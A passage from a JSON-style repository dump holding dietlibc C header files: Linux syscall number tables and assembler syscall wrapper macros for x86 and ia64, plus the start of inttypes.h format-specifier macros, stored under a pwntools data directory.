__NR_io_destroy\t\t246\n#define __NR_io_getevents\t247\n#define __NR_io_submit\t\t248\n#define __NR_io_cancel\t\t249\n#define __NR_fadvise64\t\t250\n\n#define __NR_exit_group\t\t252\n#define __NR_lookup_dcookie\t253\n#define __NR_epoll_create\t254\n#define __NR_epoll_ctl\t\t255\n#define __NR_epoll_wait\t\t256\n#define __NR_remap_file_pages\t257\n#define __NR_set_tid_address\t258\n#define __NR_timer_create\t259\n#define __NR_timer_settime\t(__NR_timer_create+1)\n#define __NR_timer_gettime\t(__NR_timer_create+2)\n#define __NR_timer_getoverrun\t(__NR_timer_create+3)\n#define __NR_timer_delete\t(__NR_timer_create+4)\n#define __NR_clock_settime\t(__NR_timer_create+5)\n#define __NR_clock_gettime\t(__NR_timer_create+6)\n#define __NR_clock_getres\t(__NR_timer_create+7)\n#define __NR_clock_nanosleep\t(__NR_timer_create+8)\n#define __NR_statfs64\t\t268\n#define __NR_fstatfs64\t\t269\n#define __NR_tgkill\t\t270\n#define __NR_utimes\t\t271\n#define __NR_fadvise64_64\t272\n#define __NR_vserver\t\t273\n#define __NR_mbind\t\t274\n#define __NR_get_mempolicy\t275\n#define __NR_set_mempolicy\t276\n#define __NR_mq_open \t\t277\n#define __NR_mq_unlink\t\t(__NR_mq_open+1)\n#define __NR_mq_timedsend\t(__NR_mq_open+2)\n#define __NR_mq_timedreceive\t(__NR_mq_open+3)\n#define __NR_mq_notify\t\t(__NR_mq_open+4)\n#define __NR_mq_getsetattr\t(__NR_mq_open+5)\n#define __NR_sys_kexec_load\t283\n#define __NR_waitid\t\t284\n/* #define __NR_sys_setaltroot\t285 */\n#define __NR_add_key\t\t286\n#define __NR_request_key\t287\n#define __NR_keyctl\t\t288\n#define __NR_ioprio_set\t\t289\n#define __NR_ioprio_get\t\t290\n#define __NR_inotify_init\t291\n#define __NR_inotify_add_watch\t292\n#define __NR_inotify_rm_watch\t293\n#define __NR_migrate_pages\t294\n#define __NR_openat\t\t295\n#define __NR_mkdirat\t\t296\n#define __NR_mknodat\t\t297\n#define __NR_fchownat\t\t298\n#define __NR_futimesat\t\t299\n#define __NR_fstatat64\t\t300\n#define __NR_unlinkat\t\t301\n#define __NR_renameat\t\t302\n#define __NR_linkat\t\t303\n#define __NR_symlinkat\t\t304\n#define __NR_readlinkat\t\t305\n#define __NR_fchmodat\t\t306\n#define __NR_faccessat\t\t307\n#define __NR_pselect6\t\t308\n#define __NR_ppoll\t\t309\n#define __NR_unshare\t\t310\n#define __NR_set_robust_list\t311\n#define __NR_get_robust_list\t312\n#define __NR_splice\t\t313\n#define __NR_sync_file_range\t314\n#define __NR_tee\t\t315\n#define __NR_vmsplice\t\t316\n#define __NR_move_pages\t\t317\n#define __NR_getcpu\t\t318\n#define __NR_epoll_pwait\t319\n#define __NR_utimensat\t\t320\n#define __NR_signalfd\t\t321\n#define __NR_timerfd\t\t322\n#define __NR_eventfd\t\t323\n#define __NR_fallocate\t\t324\n#define __NR_timerfd_settime\t325\n#define __NR_timerfd_gettime\t326\n#define __NR_signalfd4\t\t327\n#define __NR_eventfd2\t\t328\n#define __NR_epoll_create1\t329\n#define __NR_dup3\t\t330\n#define __NR_pipe2\t\t331\n#define __NR_inotify_init1\t332\n#define __NR_preadv\t\t333\n#define __NR_pwritev\t\t334\n#define __NR_rt_tgsigqueueinfo\t335\n#define __NR_perf_event_open\t336\n#define __NR_recvmmsg\t\t337\n#define __NR_fanotify_init\t338\n#define __NR_fanotify_mark\t339\n#define __NR_prlimit64\t\t340\n#define __NR_name_to_handle_at 341\n#define __NR_open_by_handle_at 342\n#define __NR_clock_adjtime 343\n#define __NR_syncfs 344\n#define __NR_sendmmsg 345\n#define __NR_setns 346\n#define __NR_process_vm_readv 347\n#define __NR_process_vm_writev 348\n#define __NR_kcmp 349\n#define __NR_finit_module 350\n#define __NR_sched_setattr 351\n#define __NR_sched_getattr 352\n#define __NR_renameat2 353\n#define __NR_seccomp 354\n#define __NR_getrandom 355\n#define __NR_memfd_create 356\n#define __NR_bpf 357\n#define __NR_execveat 358\n#define __NR_socket 359\n#define __NR_socketpair 360\n#define __NR_bind 361\n#define __NR_connect 362\n#define __NR_listen 363\n#define __NR_accept4 364\n#define __NR_getsockopt 365\n#define __NR_setsockopt 366\n#define __NR_getsockname 367\n#define __NR_getpeername 368\n#define __NR_sendto 369\n#define __NR_sendmsg 370\n#define __NR_recvfrom 371\n#define __NR_recvmsg 372\n#define __NR_shutdown 373\n#define __NR_userfaultfd 374\n#define __NR_membarrier 375\n#define __NR_mlock2 376\n#define __NR_copy_file_range 377\n#define __NR_preadv2 378\n#define __NR_pwritev2 379\n#define __NR_pkey_mprotect 380\n#define __NR_pkey_alloc 381\n#define __NR_pkey_free 382\n#define __NR_ia32_statx 383\n#define __NR_ia32_arch_prctl 384\n#define __NR_ia32_io_pgetevents 385\n#define __NR_ia32_rseq 386\n#define __NR_semget 393\n#define __NR_semctl 394\n#define __NR_shmget 395\n#define __NR_shmctl 396\n#define __NR_shmat 397\n#define __NR_shmdt 398\n#define __NR_msgget 399\n#define __NR_msgsnd 400\n#define __NR_msgrcv 401\n#define __NR_msgctl 402\n#define __NR_clock_gettime64 403\n#define __NR_clock_settime64 404\n#define __NR_clock_adjtime64 405\n#define __NR_clock_getres_time64 406\n#define __NR_clock_nanosleep_time64 407\n#define __NR_timer_gettime64 408\n#define __NR_timer_settime64 409\n#define __NR_timerfd_gettime64 410\n#define __NR_timerfd_settime64 411\n#define __NR_utimensat_time64 412\n#define __NR_pselect6_time64 413\n#define __NR_ppoll_time64 414\n#define __NR_io_pgetevents_time64 416\n#define __NR_recvmmsg_time64 417\n#define __NR_mq_timedsend_time64 418\n#define __NR_mq_timedreceive_time64 419\n#define __NR_semtimedop_time64 420\n#define __NR_rt_sigtimedwait_time64 421\n#define __NR_futex_time64 422\n#define __NR_sched_rr_get_interval_time64 423\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,@function; \\\n.weak wsym; \\\nwsym: ; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n.ifle __NR_##name-255; \\\n\tmovb $__NR_##name,%al; \\\n\tjmp __unified_syscall; \\\n.else; \\\n\tmovw $__NR_##name,%ax; \\\n\tjmp __unified_syscall_256; \\\n.endif; \\\n.Lend##sym: ; \\\n.size sym,.Lend##sym-sym\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n.ifle __NR_##name-255; \\\n\tmovb $__NR_##name,%al; \\\n\tjmp __unified_syscall; \\\n.else; \\\n\tmovw $__NR_##name,%ax; \\\n\tjmp __unified_syscall_256; \\\n.endif; \\\n.Lend##sym: ; \\\n.size sym,.Lend##sym-sym\n\n#ifndef __DYN_LIB\n#define __socketcall(name,NAME) \\\n.text; \\\n.type name,@function; \\\n.weak name; \\\nname: ; \\\n.type __libc_##name,@function; \\\n.global __libc_##name; \\\n__libc_##name: ; \\\n\tmovb $SYS_##NAME,%al; \\\n\tjmp socketcall; \\\n.Lend##name:; \\\n.size name,.Lend##name-name\n#else\n#define __socketcall(name,NAME)\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/ia64/syscalls.h",
    "content": "#ifndef __DLIBC_SYSCALL_H_\n#define __DLIBC_SYSCALL_H_\n\n#define __NR_Linux      1024\n\n#define __NR_ni_syscall\t(__NR_Linux + 0)\n#define __NR_exit\t(__NR_Linux + 1)\n#define __NR_read\t(__NR_Linux + 2)\n#define __NR_write\t(__NR_Linux + 3)\n#define __NR_open\t(__NR_Linux + 4)\n#define __NR_close\t(__NR_Linux + 5)\n#define __NR_creat\t(__NR_Linux + 6)\n#define __NR_link\t(__NR_Linux + 7)\n#define __NR_unlink\t(__NR_Linux + 8)\n#define __NR_execve\t(__NR_Linux + 9)\n#define __NR_chdir\t(__NR_Linux + 10)\n#define __NR_fchdir\t(__NR_Linux + 11)\n#define __NR_utimes\t(__NR_Linux + 12)\n#define __NR_mknod\t(__NR_Linux + 13)\n#define __NR_chmod\t(__NR_Linux + 14)\n#define __NR_chown\t(__NR_Linux + 15)\n#define __NR_lseek\t(__NR_Linux + 16)\n#define __NR_getpid\t(__NR_Linux + 17)\n#define __NR_getppid\t(__NR_Linux + 18)\n#define __NR_mount\t(__NR_Linux + 19)\n#define __NR_umount2\t(__NR_Linux + 20)\n#define __NR_setuid\t(__NR_Linux + 21)\n#define __NR_getuid\t(__NR_Linux + 22)\n#define __NR_geteuid\t(__NR_Linux + 23)\n#define __NR_ptrace\t(__NR_Linux + 24)\n#define __NR_access\t(__NR_Linux + 25)\n#define __NR_sync\t(__NR_Linux + 26)\n#define __NR_fsync\t(__NR_Linux + 27)\n#define __NR_fdatasync\t(__NR_Linux + 28)\n#define __NR_kill\t(__NR_Linux + 29)\n#define __NR_rename\t(__NR_Linux + 30)\n#define __NR_mkdir\t(__NR_Linux + 31)\n#define __NR_rmdir\t(__NR_Linux + 32)\n#define __NR_dup\t(__NR_Linux + 33)\n#define __NR_pipe\t(__NR_Linux + 34)\n#define __NR_times\t(__NR_Linux + 35)\n#define __NR_brk\t(__NR_Linux + 36)\n#define __NR_setgid\t(__NR_Linux + 37)\n#define __NR_getgid\t(__NR_Linux + 38)\n#define __NR_getegid\t(__NR_Linux + 39)\n#define __NR_acct\t(__NR_Linux + 40)\n#define __NR_ioctl\t(__NR_Linux + 41)\n#define __NR_fcntl\t(__NR_Linux + 42)\n#define __NR_umask\t(__NR_Linux + 43)\n#define __NR_chroot\t(__NR_Linux + 44)\n#define __NR_ustat\t(__NR_Linux + 45)\n#define __NR_dup2\t(__NR_Linux + 46)\n#define __NR_setreuid\t(__NR_Linux + 47)\n#define __NR_setregid\t(__NR_Linux + 48)\n#define __NR_getresuid\t(__NR_Linux + 49)\n#define __NR_setresuid\t(__NR_Linux + 50)\n#define __NR_getresgid\t(__NR_Linux + 51)\n#define __NR_setresgid\t(__NR_Linux + 52)\n#define __NR_getgroups\t(__NR_Linux + 53)\n#define __NR_setgroups\t(__NR_Linux + 54)\n#define __NR_getpgid\t(__NR_Linux + 55)\n#define __NR_setpgid\t(__NR_Linux + 56)\n#define __NR_setsid\t(__NR_Linux + 57)\n#define __NR_getsid\t(__NR_Linux + 58)\n#define __NR_sethostname\t(__NR_Linux + 59)\n#define __NR_setrlimit\t(__NR_Linux + 60)\n#define __NR_getrlimit\t(__NR_Linux + 61)\n#define __NR_getrusage\t(__NR_Linux + 62)\n#define __NR_gettimeofday\t(__NR_Linux + 63)\n#define __NR_settimeofday\t(__NR_Linux + 64)\n#define __NR_select\t(__NR_Linux + 65)\n#define __NR_poll\t(__NR_Linux + 66)\n#define __NR_symlink\t(__NR_Linux + 67)\n#define __NR_readlink\t(__NR_Linux + 68)\n#define __NR_uselib\t(__NR_Linux + 69)\n#define __NR_swapon\t(__NR_Linux + 70)\n#define __NR_swapoff\t(__NR_Linux + 71)\n#define __NR_reboot\t(__NR_Linux + 72)\n#define __NR_truncate\t(__NR_Linux + 73)\n#define __NR_ftruncate\t(__NR_Linux + 74)\n#define __NR_fchmod\t(__NR_Linux + 75)\n#define __NR_fchown\t(__NR_Linux + 76)\n#define __NR_getpriority\t(__NR_Linux + 77)\n#define __NR_setpriority\t(__NR_Linux + 78)\n#define __NR_statfs\t(__NR_Linux + 79)\n#define __NR_fstatfs\t(__NR_Linux + 80)\n#define __NR_gettid\t(__NR_Linux + 81)\n#define __NR_semget\t(__NR_Linux + 82)\n#define __NR_semop\t(__NR_Linux + 83)\n#define __NR_semctl\t(__NR_Linux + 84)\n#define __NR_msgget\t(__NR_Linux + 85)\n#define __NR_msgsnd\t(__NR_Linux + 86)\n#define __NR_msgrcv\t(__NR_Linux + 87)\n#define __NR_msgctl\t(__NR_Linux + 88)\n#define __NR_shmget\t(__NR_Linux + 89)\n#define __NR_shmat\t(__NR_Linux + 90)\n#define __NR_shmdt\t(__NR_Linux + 91)\n#define __NR_shmctl\t(__NR_Linux + 92)\n#define __NR_syslog\t(__NR_Linux + 93)\n#define __NR_setitimer\t(__NR_Linux + 94)\n#define __NR_getitimer\t(__NR_Linux + 95)\n#define __NR_vhangup\t(__NR_Linux + 99)\n#define __NR_lchown\t(__NR_Linux + 100)\n#define __NR_remap_file_pages\t(__NR_Linux + 101)\n#define __NR_wait4\t(__NR_Linux + 102)\n#define __NR_sysinfo\t(__NR_Linux + 103)\n#define __NR_clone\t(__NR_Linux + 104)\n#define __NR_setdomainname\t(__NR_Linux + 105)\n#define __NR_uname\t(__NR_Linux + 106)\n#define __NR_adjtimex\t(__NR_Linux + 107)\n#define __NR_init_module\t(__NR_Linux + 109)\n#define __NR_delete_module\t(__NR_Linux + 110)\n#define __NR_quotactl\t(__NR_Linux + 113)\n#define __NR_bdflush\t(__NR_Linux + 114)\n#define __NR_sysfs\t(__NR_Linux + 115)\n#define __NR_personality\t(__NR_Linux + 116)\n#define __NR_afs_syscall\t(__NR_Linux + 117)\n#define __NR_setfsuid\t(__NR_Linux + 118)\n#define __NR_setfsgid\t(__NR_Linux + 119)\n#define __NR_getdents\t(__NR_Linux + 120)\n#define __NR_flock\t(__NR_Linux + 121)\n#define __NR_readv\t(__NR_Linux + 122)\n#define __NR_writev\t(__NR_Linux + 123)\n#define __NR_pread64\t(__NR_Linux + 124)\n#define __NR_pwrite64\t(__NR_Linux + 125)\n#define __NR__sysctl\t(__NR_Linux + 126)\n#define __NR_mmap\t(__NR_Linux + 127)\n#define __NR_munmap\t(__NR_Linux + 128)\n#define __NR_mlock\t(__NR_Linux + 129)\n#define __NR_mlockall\t(__NR_Linux + 130)\n#define __NR_mprotect\t(__NR_Linux + 131)\n#define __NR_mremap\t(__NR_Linux + 132)\n#define __NR_msync\t(__NR_Linux + 133)\n#define __NR_munlock\t(__NR_Linux + 134)\n#define __NR_munlockall\t(__NR_Linux + 135)\n#define __NR_sched_getparam\t(__NR_Linux + 136)\n#define __NR_sched_setparam\t(__NR_Linux + 137)\n#define __NR_sched_getscheduler\t(__NR_Linux + 138)\n#define __NR_sched_setscheduler\t(__NR_Linux + 139)\n#define __NR_sched_yield\t(__NR_Linux + 140)\n#define __NR_sched_get_priority_max\t(__NR_Linux + 141)\n#define __NR_sched_get_priority_min\t(__NR_Linux + 142)\n#define __NR_sched_rr_get_interval\t(__NR_Linux + 143)\n#define __NR_nanosleep\t(__NR_Linux + 144)\n#define __NR_nfsservctl\t(__NR_Linux + 145)\n#define __NR_prctl\t(__NR_Linux + 146)\n#define __NR_old_getpagesize\t(__NR_Linux + 147)\n#define __NR_mmap2\t(__NR_Linux + 148)\n#define __NR_pciconfig_read\t(__NR_Linux + 149)\n#define __NR_pciconfig_write\t(__NR_Linux + 150)\n#define __NR_perfmonctl\t(__NR_Linux + 151)\n#define __NR_sigaltstack\t(__NR_Linux + 152)\n#define __NR_rt_sigaction\t(__NR_Linux + 153)\n#define __NR_rt_sigpending\t(__NR_Linux + 154)\n#define __NR_rt_sigprocmask\t(__NR_Linux + 155)\n#define __NR_rt_sigqueueinfo\t(__NR_Linux + 156)\n#define __NR_rt_sigreturn\t(__NR_Linux + 157)\n#define __NR_rt_sigsuspend\t(__NR_Linux + 158)\n#define __NR_rt_sigtimedwait\t(__NR_Linux + 159)\n#define __NR_getcwd\t(__NR_Linux + 160)\n#define __NR_capget\t(__NR_Linux + 161)\n#define __NR_capset\t(__NR_Linux + 162)\n#define __NR_sendfile\t(__NR_Linux + 163)\n#define __NR_getpmsg\t(__NR_Linux + 164)\n#define __NR_putpmsg\t(__NR_Linux + 165)\n#define __NR_socket\t(__NR_Linux + 166)\n#define __NR_bind\t(__NR_Linux + 167)\n#define __NR_connect\t(__NR_Linux + 168)\n#define __NR_listen\t(__NR_Linux + 169)\n#define __NR_accept\t(__NR_Linux + 170)\n#define __NR_getsockname\t(__NR_Linux + 171)\n#define __NR_getpeername\t(__NR_Linux + 172)\n#define __NR_socketpair\t(__NR_Linux + 173)\n#define __NR_send\t(__NR_Linux + 174)\n#define __NR_sendto\t(__NR_Linux + 175)\n#define __NR_recv\t(__NR_Linux + 176)\n#define __NR_recvfrom\t(__NR_Linux + 177)\n#define __NR_shutdown\t(__NR_Linux + 178)\n#define __NR_setsockopt\t(__NR_Linux + 179)\n#define __NR_getsockopt\t(__NR_Linux + 180)\n#define __NR_sendmsg\t(__NR_Linux + 181)\n#define __NR_recvmsg\t(__NR_Linux + 182)\n#define __NR_pivot_root\t(__NR_Linux + 183)\n#define __NR_mincore\t(__NR_Linux + 184)\n#define __NR_madvise\t(__NR_Linux + 185)\n#define __NR_stat\t(__NR_Linux + 186)\n#define __NR_lstat\t(__NR_Linux + 187)\n#define __NR_fstat\t(__NR_Linux + 188)\n#define __NR_clone2\t(__NR_Linux + 189)\n#define __NR_getdents64\t(__NR_Linux + 190)\n#define __NR_getunwind\t(__NR_Linux + 191)\n#define __NR_readahead\t(__NR_Linux + 192)\n#define __NR_setxattr\t(__NR_Linux + 193)\n#define __NR_lsetxattr\t(__NR_Linux + 194)\n#define __NR_fsetxattr\t(__NR_Linux + 195)\n#define __NR_getxattr\t(__NR_Linux + 196)\n#define __NR_lgetxattr\t(__NR_Linux + 197)\n#define __NR_fgetxattr\t(__NR_Linux + 198)\n#define __NR_listxattr\t(__NR_Linux + 199)\n#define __NR_llistxattr\t(__NR_Linux + 200)\n#define __NR_flistxattr\t(__NR_Linux + 201)\n#define __NR_removexattr\t(__NR_Linux + 202)\n#define __NR_lremovexattr\t(__NR_Linux + 203)\n#define __NR_fremovexattr\t(__NR_Linux + 204)\n#define __NR_tkill\t(__NR_Linux + 205)\n#define __NR_futex\t(__NR_Linux + 206)\n#define __NR_sched_setaffinity\t(__NR_Linux + 207)\n#define __NR_sched_getaffinity\t(__NR_Linux + 208)\n#define __NR_set_tid_address\t(__NR_Linux + 209)\n#define __NR_fadvise64\t(__NR_Linux + 210)\n#define __NR_tgkill\t(__NR_Linux + 211)\n#define __NR_exit_group\t(__NR_Linux + 212)\n#define __NR_lookup_dcookie\t(__NR_Linux + 213)\n#define __NR_io_setup\t(__NR_Linux + 214)\n#define __NR_io_destroy\t(__NR_Linux + 215)\n#define __NR_io_getevents\t(__NR_Linux + 216)\n#define __NR_io_submit\t(__NR_Linux + 217)\n#define __NR_io_cancel\t(__NR_Linux + 218)\n#define __NR_epoll_create\t(__NR_Linux + 219)\n#define __NR_epoll_ctl\t(__NR_Linux + 220)\n#define __NR_epoll_wait\t(__NR_Linux + 221)\n#define __NR_restart_syscall\t(__NR_Linux + 222)\n#define __NR_semtimedop\t(__NR_Linux + 223)\n#define __NR_timer_create\t(__NR_Linux + 224)\n#define __NR_timer_settime\t(__NR_Linux + 225)\n#define __NR_timer_gettime\t(__NR_Linux + 226)\n#define __NR_timer_getoverrun\t(__NR_Linux + 227)\n#define __NR_timer_delete\t(__NR_Linux + 228)\n#define __NR_clock_settime\t(__NR_Linux + 229)\n#define __NR_clock_gettime\t(__NR_Linux + 230)\n#define __NR_clock_getres\t(__NR_Linux + 231)\n#define __NR_clock_nanosleep\t(__NR_Linux + 232)\n#define __NR_fstatfs64\t(__NR_Linux + 233)\n#define __NR_statfs64\t(__NR_Linux + 234)\n#define __NR_mbind\t(__NR_Linux + 235)\n#define __NR_get_mempolicy\t(__NR_Linux + 236)\n#define __NR_set_mempolicy\t(__NR_Linux + 237)\n#define __NR_mq_open\t(__NR_Linux + 238)\n#define __NR_mq_unlink\t(__NR_Linux + 239)\n#define __NR_mq_timedsend\t(__NR_Linux + 240)\n#define __NR_mq_timedreceive\t(__NR_Linux + 241)\n#define __NR_mq_notify\t(__NR_Linux + 242)\n#define __NR_mq_getsetattr\t(__NR_Linux + 243)\n#define __NR_kexec_load\t(__NR_Linux + 244)\n#define __NR_vserver\t(__NR_Linux + 245)\n#define __NR_waitid\t(__NR_Linux + 246)\n#define __NR_add_key\t(__NR_Linux + 247)\n#define __NR_request_key\t(__NR_Linux + 248)\n#define __NR_keyctl\t(__NR_Linux + 249)\n#define __NR_ioprio_set\t(__NR_Linux + 250)\n#define __NR_ioprio_get\t(__NR_Linux + 251)\n#define __NR_move_pages\t(__NR_Linux + 252)\n#define __NR_inotify_init\t(__NR_Linux + 253)\n#define __NR_inotify_add_watch\t(__NR_Linux + 254)\n#define __NR_inotify_rm_watch\t(__NR_Linux + 255)\n#define __NR_migrate_pages\t(__NR_Linux + 256)\n#define __NR_openat\t(__NR_Linux + 257)\n#define __NR_mkdirat\t(__NR_Linux + 258)\n#define __NR_mknodat\t(__NR_Linux + 259)\n#define __NR_fchownat\t(__NR_Linux + 260)\n#define __NR_futimesat\t(__NR_Linux + 261)\n#define __NR_newfstatat\t(__NR_Linux + 262)\n#define __NR_unlinkat\t(__NR_Linux + 263)\n#define __NR_renameat\t(__NR_Linux + 264)\n#define __NR_linkat\t(__NR_Linux + 265)\n#define __NR_symlinkat\t(__NR_Linux + 266)\n#define __NR_readlinkat\t(__NR_Linux + 267)\n#define __NR_fchmodat\t(__NR_Linux + 268)\n#define __NR_faccessat\t(__NR_Linux + 269)\n#define __NR_pselect6\t(__NR_Linux + 270)\n#define __NR_ppoll\t(__NR_Linux + 271)\n#define __NR_unshare\t(__NR_Linux + 272)\n#define __NR_splice\t(__NR_Linux + 273)\n#define __NR_set_robust_list\t(__NR_Linux + 274)\n#define __NR_get_robust_list\t(__NR_Linux + 275)\n#define __NR_sync_file_range\t(__NR_Linux + 276)\n#define __NR_tee\t(__NR_Linux + 277)\n#define __NR_vmsplice\t(__NR_Linux + 278)\n#define __NR_fallocate\t(__NR_Linux + 279)\n#define __NR_getcpu\t(__NR_Linux + 280)\n#define __NR_epoll_pwait\t(__NR_Linux + 281)\n#define __NR_utimensat\t(__NR_Linux + 282)\n#define __NR_signalfd\t(__NR_Linux + 283)\n#define __NR_timerfd\t(__NR_Linux + 284)\n#define __NR_eventfd\t(__NR_Linux + 285)\n#define __NR_timerfd_create\t(__NR_Linux + 286)\n#define __NR_timerfd_settime\t(__NR_Linux + 287)\n#define __NR_timerfd_gettime\t(__NR_Linux + 288)\n#define __NR_signalfd4\t(__NR_Linux + 289)\n#define __NR_eventfd2\t(__NR_Linux + 290)\n#define __NR_epoll_create1\t(__NR_Linux + 291)\n#define __NR_dup3\t(__NR_Linux + 292)\n#define __NR_pipe2\t(__NR_Linux + 293)\n#define __NR_inotify_init1\t(__NR_Linux + 294)\n#define __NR_preadv\t(__NR_Linux + 295)\n#define __NR_pwritev\t(__NR_Linux + 296)\n#define __NR_rt_tgsigqueueinfo\t(__NR_Linux + 297)\n#define __NR_recvmmsg\t(__NR_Linux + 298)\n#define __NR_fanotify_init\t(__NR_Linux + 299)\n#define __NR_fanotify_mark\t(__NR_Linux + 300)\n#define __NR_prlimit64\t(__NR_Linux + 301)\n#define __NR_name_to_handle_at\t(__NR_Linux + 302)\n#define __NR_open_by_handle_at\t(__NR_Linux + 303)\n#define __NR_clock_adjtime\t(__NR_Linux + 304)\n#define __NR_syncfs\t(__NR_Linux + 305)\n#define __NR_setns\t(__NR_Linux + 306)\n#define __NR_sendmmsg\t(__NR_Linux + 307)\n#define __NR_process_vm_readv\t(__NR_Linux + 308)\n#define __NR_process_vm_writev\t(__NR_Linux + 309)\n#define __NR_accept4\t(__NR_Linux + 310)\n#define __NR_finit_module\t(__NR_Linux + 311)\n#define __NR_sched_setattr\t(__NR_Linux + 312)\n#define __NR_sched_getattr\t(__NR_Linux + 313)\n#define __NR_renameat2\t(__NR_Linux + 314)\n#define __NR_getrandom\t(__NR_Linux + 315)\n#define __NR_memfd_create\t(__NR_Linux + 316)\n#define __NR_bpf\t(__NR_Linux + 317)\n#define __NR_execveat\t(__NR_Linux + 318)\n#define __NR_userfaultfd\t(__NR_Linux + 319)\n#define __NR_membarrier\t(__NR_Linux + 320)\n#define __NR_kcmp\t(__NR_Linux + 321)\n#define __NR_mlock2\t(__NR_Linux + 322)\n#define __NR_copy_file_range\t(__NR_Linux + 323)\n#define __NR_preadv2\t(__NR_Linux + 324)\n#define __NR_pwritev2\t(__NR_Linux + 325)\n#define __NR_statx\t(__NR_Linux + 326)\n#define __NR_io_pgetevents\t(__NR_Linux + 327)\n#define __NR_perf_event_open\t(__NR_Linux + 328)\n#define __NR_seccomp\t(__NR_Linux + 329)\n#define __NR_pkey_mprotect\t(__NR_Linux + 330)\n#define __NR_pkey_alloc\t(__NR_Linux + 331)\n#define __NR_pkey_free\t(__NR_Linux + 332)\n#define __NR_rseq\t(__NR_Linux + 333)\n#define __NR_pidfd_send_signal\t(__NR_Linux + 424)\n#define __NR_io_uring_setup\t(__NR_Linux + 425)\n#define __NR_io_uring_enter\t(__NR_Linux + 426)\n#define __NR_io_uring_register\t(__NR_Linux + 427)\n#define __NR_open_tree\t(__NR_Linux + 428)\n#define __NR_move_mount\t(__NR_Linux + 429)\n#define __NR_fsopen\t(__NR_Linux + 430)\n#define __NR_fsconfig\t(__NR_Linux + 431)\n#define __NR_fsmount\t(__NR_Linux + 432)\n#define __NR_fspick\t(__NR_Linux + 433)\n#define __NR_pidfd_open\t(__NR_Linux + 434)\n#define __NR_openat2\t(__NR_Linux + 437)\n#define __NR_pidfd_getfd\t(__NR_Linux + 438)\n\n#define __NR_umount_with_flags __NR_umount\n\n#define syscall(name, sym) \\\n.text; \\\n.globl sym; \\\nsym: \\\n\tmov r15 = __NR_##name; \\\n\tbr __unified_syscall;\n\n#define syscall_weak(name, sym, wsym) \\\n.text; \\\n.weak wsym; \\\nwsym: \\\n.globl sym; \\\nsym: \\\nwsym: ; \\\n\tmov r15 = __NR_##name; \\\n\tbr __unified_syscall;\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/inttypes.h",
    "content": "#ifndef _INTTYPES_H\n#define _INTTYPES_H\n\n#include <sys/cdefs.h>\n#include <endian.h>\n\n__BEGIN_DECLS\n\n# if __WORDSIZE == 64\n#  define __PRI64_PREFIX\t\"l\"\n#  define __PRIPTR_PREFIX\t\"l\"\n# else\n#  define __PRI64_PREFIX\t\"ll\"\n#  define __PRIPTR_PREFIX\n# endif\n\n/* Macros for printing format specifiers.  */\n\n/* Decimal notation.  */\n# define PRId8\t\t\"d\"\n# define PRId16\t\t\"d\"\n# define PRId32\t\t\"d\"\n# define PRId64\t\t__PRI64_PREFIX \"d\"\n\n# define PRIdLEAST8\t\"d\"\n# define PRIdLEAST16\t\"d\"\n# define PRIdLEAST32\t\"d\"\n# define PRIdLEAST64\t__PRI64_PREFIX \"d\"\n\n# define PRIdFAST8\t\"d\"\n# define PRIdFAST16\t\"d\"\n# define PRIdFAST32\t\"d\"\n# define PRIdFAST64\t__PRI64_PREFIX \"d\"\n\n\n# define PRIi8\t\t\"i\"\n# define PRIi16\t\t\"i\"\n# define PRIi32\t\t\"i\"\n# define PRIi64\t\t__PRI64_PREFIX \"i\"\n\n# define PRIiLEAST8\t\"i\"\n# define PRIiLEAST16\t\"i\"\n# define PRIiLEAST32\t\"i\"\n# define PRIiLEAST64\t__PRI64_PREFIX \"i\"\n\n# define PRIiFAST8\t\"i\"\n# define PRIiFAST16\t\"i\"\n# define PRIiFAST32\t\"i\"\n# define PRIiFAST64\t__PRI64_PREFIX \"i\"\n\n/* Octal notation.  */\n# define PRIo8\t\t\"o\"\n# define PRIo16\t\t\"o\"\n# define PRIo32\t\t\"o\"\n# define PRIo64\t\t__PRI64_PREFIX \"o\"\n\n# define PRIoLEAST8\t\"o\"\n# define PRIoLEAST16\t\"o\"\n# define PRIoLEAST32\t\"o\"\n# define PRIoLEAST64\t__PRI64_PREFIX \"o\"\n\n# define PRIoFAST8\t\"o\"\n# define PRIoFAST16\t\"o\"\n# define PRIoFAST32\t\"o\"\n# define PRIoFAST64\t__PRI64_PREFIX \"o\"\n\n/* Unsigned integers.  */\n# define PRIu8\t\t\"u\"\n# define PRIu16\t\t\"u\"\n# define PRIu32\t\t\"u\"\n# define PRIu64\t\t__PRI64_PREFIX \"u\"\n\n# define PRIuLEAST8\t\"u\"\n# define PRIuLEAST16\t\"u\"\n# define PRIuLEAST32\t\"u\"\n# define PRIuLEAST64\t__PRI64_PREFIX \"u\"\n\n# define PRIuFAST8\t\"u\"\n# define PRIuFAST16\t\"u\"\n# define PRIuFAST32\t\"u\"\n# define PRIuFAST64\t__PRI64_PREFIX \"u\"\n\n/* lowercase hexadecimal notation.  */\n# define PRIx8\t\t\"x\"\n# define PRIx16\t\t\"x\"\n# define PRIx32\t\t\"x\"\n# define PRIx64\t\t__PRI64_PREFIX \"x\"\n\n# define PRIxLEAST8\t\"x\"\n# define PRIxLEAST16\t\"x\"\n# define PRIxLEAST32\t\"x\"\n# define PRIxLEAST64\t__PRI64_PREFIX \"x\"\n\n# define PRIxFAST8\t\"x\"\n# define PRIxFAST16\t\"x\"\n# define PRIxFAST32\t\"x\"\n# define PRIxFAST64\t__PRI64_PREFIX \"x\"\n\n/* UPPERCASE hexadecimal notation.  */\n# define PRIX8\t\t\"X\"\n# define PRIX16\t\t\"X\"\n# define PRIX32\t\t\"X\"\n# define PRIX64\t\t__PRI64_PREFIX \"X\"\n\n# define PRIXLEAST8\t\"X\"\n# define PRIXLEAST16\t\"X\"\n# define PRIXLEAST32\t\"X\"\n# define PRIXLEAST64\t__PRI64_PREFIX \"X\"\n\n# define 